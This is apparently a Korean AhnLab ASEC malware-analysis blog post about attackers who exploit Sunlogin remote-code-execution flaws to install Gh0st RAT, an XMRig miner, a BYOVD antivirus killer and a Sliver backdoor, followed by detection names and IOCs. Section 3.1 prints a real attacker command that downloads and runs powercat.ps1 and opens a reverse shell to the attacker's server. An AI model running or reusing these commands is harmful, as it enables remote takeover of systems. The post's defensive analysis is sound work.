Sunlogin 취약점 공격으로 유포 중인 Sliver 악성코드 with BYOVD

Sliver는 Go 언어로 개발된 오픈 소스 침투 테스트 도구이다. 침투 테스트 도구들로는 대표적으로 코발트 스트라이크와 Metasploit이 있으며 실제 많은 공격자들이 애용하고 있고 ASEC 블로그에서도 다양한 공격 사례들을 다룬 바 있다. 최근에는 코발트 스트라이크나 Metasploit 외에도 공격자들이 Sliver를 사용하는 사례들이 확인되고 있다.

ASEC (AhnLab Security Emergengy response Center) 분석팀은 취약점이 패치되지 않은 시스템이나 부적절하게 설정된 시스템들을 대상으로 하는 공격들을 모니터링하고 있으며, 최근 Sliver 백도어가 특정 소프트웨어에 대한 취약점 공격으로 추정되는 과정을 통해 설치되고 있는 것을 확인하였다. 공격자들은 이외에도 Sliver 백도어뿐만 아니라 BYOVD (Bring Your Own Vulnerable Driver) 악성코드를 공격에 함께 이용하여 보안 제품들을 무력화하고 리버스 쉘을 설치하였다.

취약점 공격 대상이 되는 소프트웨어는 Sunlogin이라고 하는 중국에서 개발된 원격 제어 프로그램이다. 작년 원격 코드 실행 취약점(CNVD-2022-10270 / CNVD-2022-03672)과 이를 익스플로잇하는 코드가 공개된 Sunlogin은 최근까지 꾸준히 취약점 공격의 대상이 되고 있다.

여기에서는 먼저 Sliver 침투 테스트 도구에 대한 간략한 내용을 정리한다. 이후 자사 ASD(AhnLab Smart Defense) 로그를 통해 Sunlogin을 대상으로 꾸준히 이어져 온 공격 사례들을 소개한다. 마지막으로 최근 확인된 공격 사례로서 최종적으로 Sliver와 BYOVD 악성코드를 설치하는 공격 사례들을 정리하려고 한다.


1. Sliver

침투 테스트 도구라고 한다면 기업이나 기관의 네트워크 및 시스템에 대한 보안 취약점을 점검하기 위한 목적으로 사용 가능한 도구이다. 일반적으로 침투 테스트 단계별로 다양한 기능들을 지원하기 때문에 공격자들이 사용한다면 악의적인 목적으로 사용될 수 있다는 특징이 있다.

대표적인 상용 침투 테스트 도구라고 한다면 코발트 스트라이크가 있으며 크랙 버전이 유출됨에 따라 최근까지도 다양한 공격자들에 의해 사용되고 있다. 이외에도 오픈 소스로 개발된 Metasploit이 있으며 마찬가지로 쉽게 구할 수 있기 때문에 공격에 자주 사용된다. 코발트 스트라이크나 Metasploit 외에도 다양한 침투 테스트 도구들이 존재하는데, 최근에는 오픈 소스 침투 테스트 도구 Sliver를 사용하는 사례가 다수 확인되고 있다. [1]

Figure 1. Sliver 소개 자료

Sliver의 특징이라고 한다면 크로스 플랫폼을 지원하는 Go 언어로 개발되었기 때문에 윈도우뿐만 아니라 리눅스, MacOS 운영체제를 지원한다는 점이 있다. 이외에도 상대적으로 최근 개발되었다는 점도 특징이라고 할 수 있는데, 코발트 스트라이크나 Metasploit 같이 이미 과거부터 꾸준히 공격자들에 의해 사용되고 있는 도구들은 이미 보안 제품들에 의해 상대적으로 쉽게 탐지될 수 있기 때문이다. 이에 따라 Sliver는 다양한 공격자들에 의해 코발트 스트라이크와 같은 기존 툴들을 대체하는 용도로 사용되고 있다. [2] [3] [4]

Sliver를 통해 생성한 백도어는 공격자의 명령을 받아 다양한 악성 행위들을 수행할 수 있다. 지원하는 기능들로는 프로세스 및 파일 작업, 명령 실행, 파일 업로드/다운로드, 스크린샷 캡쳐 등과 같이 일반적인 백도어 및 RAT 악성코드들이 지원하는 대부분의 기능들을 사용할 수 있다. 이외에도 권한 상승이나 프로세스 메모리 덤프, 측면 이동과 같이 내부망 장악을 위해 필요한 다양한 기능들도 제공한다.

Figure 2. 설치한 Sliver 백도어에 명령을 전달하는 과정
Figure 3. Sliver가 지원하는 명령들 일부

안티바이러스를 포함한 보안 제품들은 파일이나 행위, 메모리 관점 외에도 악성코드가 C&C 서버와 통신하는 네트워크 행위에 대해서도 탐지할 수 있는 기능을 지원한다. 이에 따라 코발트 스트라이크를 포함한 다양한 침투 테스트 도구들은 네트워크 탐지를 우회하기 위해 C&C 서버와의 통신을 우회하는 다양한 방식들을 제공한다. Sliver 또한 C&C 서버와의 통신에 mTLS, WireGuard, HTTP(S) 그리고 DNS를 이용하는 방식을 지원하여 보안 제품들의 네트워크 탐지를 우회할 수 있도록 네트워크 통신 암호화를 지원한다.

이외에도 Sliver의 백도어는 두 가지 모드를 지원하는데 세션 모드(Session Mode)와 비컨 모드(Beacon Mode)가 그것이다. 세션 모드로 빌드 된 Sliver는 실시간으로 C&C 서버와 통신하며, 비컨 모드로 빌드 된 Sliver는 C&C 서버와 비동기적으로 통신하면서 주기적으로 C&C 서버로부터 명령 즉 수행할 작업을 얻어와 수행한 후 결과를 전달하는 방식이다.


2. Sunlogin 대상 취약점 공격 및 사례

Sunlogin은 중국 Oray 사에서 개발한 원격 제어 유틸리티이다. 2022년 원격 코드 실행 취약점인 CNVD-2022-10270 / CNVD-2022-03672 와 이를 익스플로잇하는 코드가 공개되었으며, [5] 이후 이를 이용한 취약점 공격들이 확인되고 있다. 공격 대상이 되는 취약한 프로세스는 “SunloginCLient.exe”로 추정되며 [6] 실제 자사 ASD 로그에서도 2022년 초부터 다수의 공격이 확인되고 있다.

2.1. Gh0st RAT

공격에 사용된 패킷은 확인되지 않지만 “SunloginCLient.exe” 프로세스에 의해 파워쉘 명령이 실행되는 것을 통해 Sunlogin RCE 취약점 공격에 의해 악성코드들이 설치되는 것으로 추정하였다. 실제 공격에 사용된 “SunloginCLient.exe”도 패치된 것으로 알려진 v11.0.0.33 보다 이전 버전이 사용된다. 다음은 파워쉘이 Gh0st RAT을 다운로드해 설치하는 프로세스 트리이며 “SunloginCLient.exe” 프로세스에 의해 파워쉘이 실행된 것을 알 수 있다.

Figure 4. Gh0st RAT을 설치하는 파워쉘 프로세스 트리

이외에도 공격에 사용된 명령들을 통해서도 추정이 가능한데, 먼저 공개된 PoC에서는 취약점 공격 시 다음과 같은 명령을 사용한다. [7]

Figure 5. 공개된 PoC의 취약점 공격 루틴

위의 Gh0st RAT 공격에서 사용된 명령은 다음과 같으며, 위의 PoC에서 사용한 명령과 유사하다.

Figure 6. 공격에 사용된 파워쉘 명령

2.2. XMRig 코인 마이너

공격자들은 Gh0stRAT 외에 XMRig 코인 마이너를 설치하기도 한다. 자사 ASD 로그에 따르면 “SunloginCLient.exe” 프로세스에 의해 다음과 같은 명령이 실행되어 “syse.bat” 배치 악성코드를 다운로드하고 실행한다.

Figure 7. XMRig 코인 마이너를 설치하는 취약점 공격 명령

“syse.bat”은 외부에서 7z와 함께 하드웨어 환경에 따라 “t.zip” 또는 “t_64.zip” 압축 파일을 다운로드하고, 권한에 따라 “C:\windows\WinSysMaintenance\.arc ” 또는 “C:\WinSysMaintenance\.arc ” 경로에 압축을 해제한다.

Figure 8. 악성코드가 포함된 압축 파일을 다운로드하는 루틴

압축 파일에는 XMRig 코인 마이너가 그대로 존재하는 대신 Launcher 및 Loader 악성코드를 거쳐 실행된다. “watch.exe”가 Launcher이고 “splwow32.exe”가 인코딩된 XMRig인 “WINSysCoreR.bin” 파일을 로드하고 복호화하여 메모리 상에서 실행하는 Loader 악성코드이다.

Figure 9. 악성코드가 포함된 압축 파일

“syse.bat”은 이후 XMRig의 지갑 주소를 변경하고 “splwow32.exe”의 인자로 “WINSysCoreR.bin”를 전달하여 실행함으로써 감염 시스템에서 모네로 코인을 마이닝한다.

Figure 10. XMRig를 실행하는 루틴


3. 최근 공격 사례

Sunlogin RCE 취약점을 이용한 공격 사례는 꾸준히 이어져오고 있으며, 주로 위에서 다룬 Gh0st RAT과 XMRig 코인 마이너를 설치하는 사례가 다수 확인된다. 최근에는 Sliver 백도어와 Powercat 리버스 쉘을 설치하는 공격들이 확인되어 블로그에서 소개하려고 한다.

공격자는 먼저 Sunlogin RCE 취약점을 이용해 파워쉘 스크립트를 설치하였는데, 해당 파워쉘 스크립트는 BYOVD 기법을 이용해 시스템에 설치된 보안 제품들을 무력화하고 Powercat을 이용해 리버스 쉘을 설치하는 기능을 담당한다. 동일한 공격자인지 여부는 확인되지 않지만, 몇 시간 후에는 동일한 시스템을 대상으로 Sunlogin RCE 취약점 공격을 통해 Sliver 백도어를 설치한 로그가 확인된다.

3.1. BYOVD & Powercat

해당 시스템에 최초로 실행된 명령은 다음과 같이 “2.ps1” 파워쉘 스크립트를 다운로드해 실행하는 명령이다.

Figure 11. 로더 악성코드를 설치하는 파워쉘 명령

파워쉘 스크립트는 난독화되어 있지만 정리하면 다음과 같이 크게 2가지 기능을 갖는 단순한 형태인 것을 알 수 있다. 첫 번째 기능은 압축되어 있는 닷넷 PE를 복호화하고 메모리 상에 로드 및 실행하는 기능이다. 인코딩된 PE는 닷넷으로 개발되어 있으며, 파워쉘 명령을 통해 kdjvasbulidcfaeusyefoaexwyroaw7fyoaeufhodusicvfy8cye() 함수가 실행된다.

Figure 12. 복호화한 파워쉘 명령 – 수정

“ujacldfajlvjfaslflcevdfuaelfiua.exe”는 오픈 소스에 공개된 Mhyprot2DrvControl를 공격자가 직접 수정하여 보안 제품들을 강제로 종료시키도록 구현한 것으로 추정된다. [8] 오픈 소스와 달리 악성코드는 다음과 같은 AvList 즉 강제 종료할 안티바이러스 제품들의 프로세스 이름들 목록을 가지고 있다.

Figure 13. 강제 종료 대상 안티바이러스 목록

Mhyprot2DrvControl은 BYOVD (Bring Your Own Vulnerable Driver) 기법을 이용하는데, BYOVD 기법은 취약한 윈도우 정상 드라이버 파일들을 악용하여 상승된 권한으로 임의의 행위를 수행하는 방식이다. 최근에는 보안 제품들을 우회하기 위한 목적으로 공격자들이 BYOVD 기법을 이용해 권한을 상승한 후 상승된 권한으로 보안 제품들을 강제로 종료시키는 공격 방식이 널리 사용되고 있다. [9]

Mhyprot2DrvControl은 구체적으로 mhyprot2.sys 파일을 악용하는데 해당 파일은 원신 게임을 서비스하는 중국 게임 업체인 미호요 사에서 개발한 안티 치트 드라이버이다. mhyprot2.sys는 유효한 서명으로 인증된 정상 드라이버 파일이지만 이를 호출하는 프로세스에 대한 검증 조건이 취약하여 간단한 우회 과정을 거치면 악성코드가 mhyprot2.sys를 통해 커널 영역에 접근이 가능해진다. Mhyprot2DrvControl의 개발자는 mhyprot2.sys를 이용해 상승된 권한으로 수행 가능한 여러 기능들을 제공하였으며, 공격자는 이 중에서 프로세스를 종료시킬 수 있는 기능을 이용해 다수의 안티바이러스 제품들을 종료하는 악성코드를 제작하였다.

Figure 14. 프로세스 목록을 검사하여 AV 제품을 종료시키는 루틴

파워쉘 스크립트의 두 번째 기능은 외부에서 Powercat을 다운로드하고 이를 이용해 감염 시스템에 리버스 쉘을 실행하는 것이다. 실행된 리버스 쉘은 C&C 서버에 접속하여 공격에게 cmd.exe 즉 쉘을 제공함으로써 공격자는 감염 시스템에 대한 제어를 획득할 수 있다.

IEX (New-Object Net.Webclient).DownloadString(“hxxp://45.144.3[.)216/powercat.ps1”);
powercat -c 45.144.3.216 -p 14356 -e cmd


3.2. Sliver 백도어 공격 사례

공격자는 취약점을 이용해 위의 파워쉘 스크립트 외에도 “acl.exe” 악성코드를 설치하는 파워쉘 명령을 실행하였다. 다음은 Sunlogin RCE 취약점을 통해 실행된 파워쉘 명령에 대한 자사 ASD 로그이다.

Figure 15. Sunlogin 취약점을 통해 설치되는 Sliver 백도어
Figure 16. Sliver 백도어를 설치하는 파워쉘 명령

다운로드된 “acl.exe”는 Sliver 백도어이다. Sliver는 백도어 빌드 시 기본적으로 난독화하기 때문에 디컴파일 후에도 다음과 같이 난독화된 Go 함수들만을 확인할 수 있다. 이는 공격자가 추가적인 패킹 과정 없이 Sliver 프레임워크를 이용해 생성한 바이너리를 그대로 공격에 사용한 것을 의미한다.

Figure 17. 난독화된 Sliver 백도어

함수 이름은 난독화되어 있지만 실질적인 루틴은 동일하므로 정적 분석을 통해 공격에 사용된 Sliver가 세션 모드로 빌드 되었으며 C&C 서버와의 통신에 mTLS 프로토콜을 사용하는 것을 알 수 있다. 그리고 다음과 같은 디버깅 과정을 통해 Sliver 백도어의 이름 및 C&C 서버 주소와 같이 복호화 된 설정 데이터를 확인할 수 있다.

Figure 18. 복호화된 설정 데이터
  • Sliver 백도어 이름 : LITERARY_WHOLE
  • C&C 서버 주소 : mtls://43.128.62[.]42:8888


4. 결론

최근 패치되지 않은 취약한 소프트웨어를 대상으로 Sliver 백도어를 포함한 다양한 악성코드들을 설치하는 사례들이 확인되고 있다. Sliver는 최근 기업 시스템의 정보를 탈취하고 랜섬웨어를 설치하는 공격 그룹들에 의해 다양한 공격에 사용되고 있다. 이는 침투 테스트 도구인 Sliver가 코발트 스트라이크처럼 계정 정보 탈취 및 내부망 이동을 거쳐 기업의 내부망 장악까지 단계별로 필요한 기능들을 제공할 수 있기 때문이다.

사용자들은 설치된 소프트웨어를 최신 버전으로 패치하여 취약점 공격을 사전에 방지해야 한다. 또한 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다.

파일 진단
– CoinMiner/BAT.Generic.SC185824 (2023.01.24.03)
– Trojan/Win.Launcher.C5364876 (2023.01.24.00)
– Trojan/Win.Loader.C5364877 (2023.01.24.00)
– CoinMiner/BIN.Encoded (2023.01.24.03)
– CoinMiner/Text.Config (2023.01.24.03)
– Trojan/Win32.RL_Agent.R362708 (2021.01.12.05)
– Trojan/PowerShell.Obfuscated (2023.01.24.03)
– Trojan/Win.KILLAV.C5363966 (2023.01.22.02)
– Trojan/PowerShell.Powercat.S1567 (2021.07.07.02)
– Trojan/Win.Sliver.C5363965 (2023.01.22.02)

행위 진단
– Execution/MDP.Powershell.M2514
– Malware/MDP.DriveByDownload.M1659

AMSI 진단
– Trojan/Win.KILLAV.C5363966 (2023.01.22.02)
– Trojan/PowerShell.Powercat.SA1567 (2021.07.07.02)

IOC
MD5

– 836810671d8e1645b7dd35b567d75f27 : XMRig Downloader Batch (syse.bat)
– 29d04d986a31fbeab39c6b7eab5f5550 : Launcher (watch.exe)
– 17a84000567055be92bda8659de5184d : Loader (splwow32.exe)
– 57b21f6b5d50e4ec525bee77bc724a4d : Encoded XMRig (WINSysCoreR.bin)
– 7eaa2e3d9c8b7aa6ecdd8dad0d1ba673 : config.json
– 1c5e484da6e6e1c2246f6d65f23bb49b : config.json
– 8c10401a59029599bed435575914b30d : Gh0stRAT
– 2434d32b1bebf22ac7ab461a44cf1624 : Powershell Script (2.ps1)
– f71b0c2f7cd766d9bdc1ef35c5ec1743 : AV Killer – BYOVD (ujacldfajlvjfaslflcevdfuaelfiua.exe)
– 8a319fa42e7c7432318f28a990f15696 : Powercat (powercat.ps1)
– 6f0c0faada107310bddc59f113ae9013 : Sliver Backdoor (acl2.exe)

Download
– hxxp://5.199.173[.]103/syse.bat : XMRig Downloader Batch
– hxxp://5.199.173[.]103/t.zip : XMRig zip
– hxxp://5.199.173[.]103/t_64.zip : XMRig zip
– hxxp://5.199.173[.]103/7za.exe : 7z
– hxxp://61.155.8[.]2:81/c6/include/images/help23.sct : Gh0st RAT
– hxxp://45.144.3[.]216/2.ps1 : PowerShell Malware
– hxxp://45.144.3[.]216/powercat.ps1 : Powercat
– hxxp://43.128.62[.]42/acl.exe : Sliver Backdoor

C&C
– idc6.yjzj[.]org:56573 : Gh0st RAT
– 45.144.3[.]216:14356 : Powercat Reverse Shell
– 43.128.62[.]42:8888 : Sliver Backdoor

연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.

0 0 votes
별점 주기
Subscribe
Notify of
guest

3 댓글
Inline Feedbacks
View all comments
trackback

[…] Sunlogin 취약점 공격으로 유포 중인 Sliver 악성코드 with BYOVD […]

trackback

[…] 있다면 과거 SparkRAT을 설치한 대신 Sliver C2가 공격에 사용되었으며, [3] 탐지를 우회하기 위한 기법들이 함께 사용되었다는 […]

trackback

[…] 원격 제어 유틸리티인 Sunlogin의 취약점 공격 사례에서 사용된 Sliver C2 [2] 모두 Go 언어로 개발되어 깃허브에 공개되어 있는 악성코드들이다. 이뿐만 […]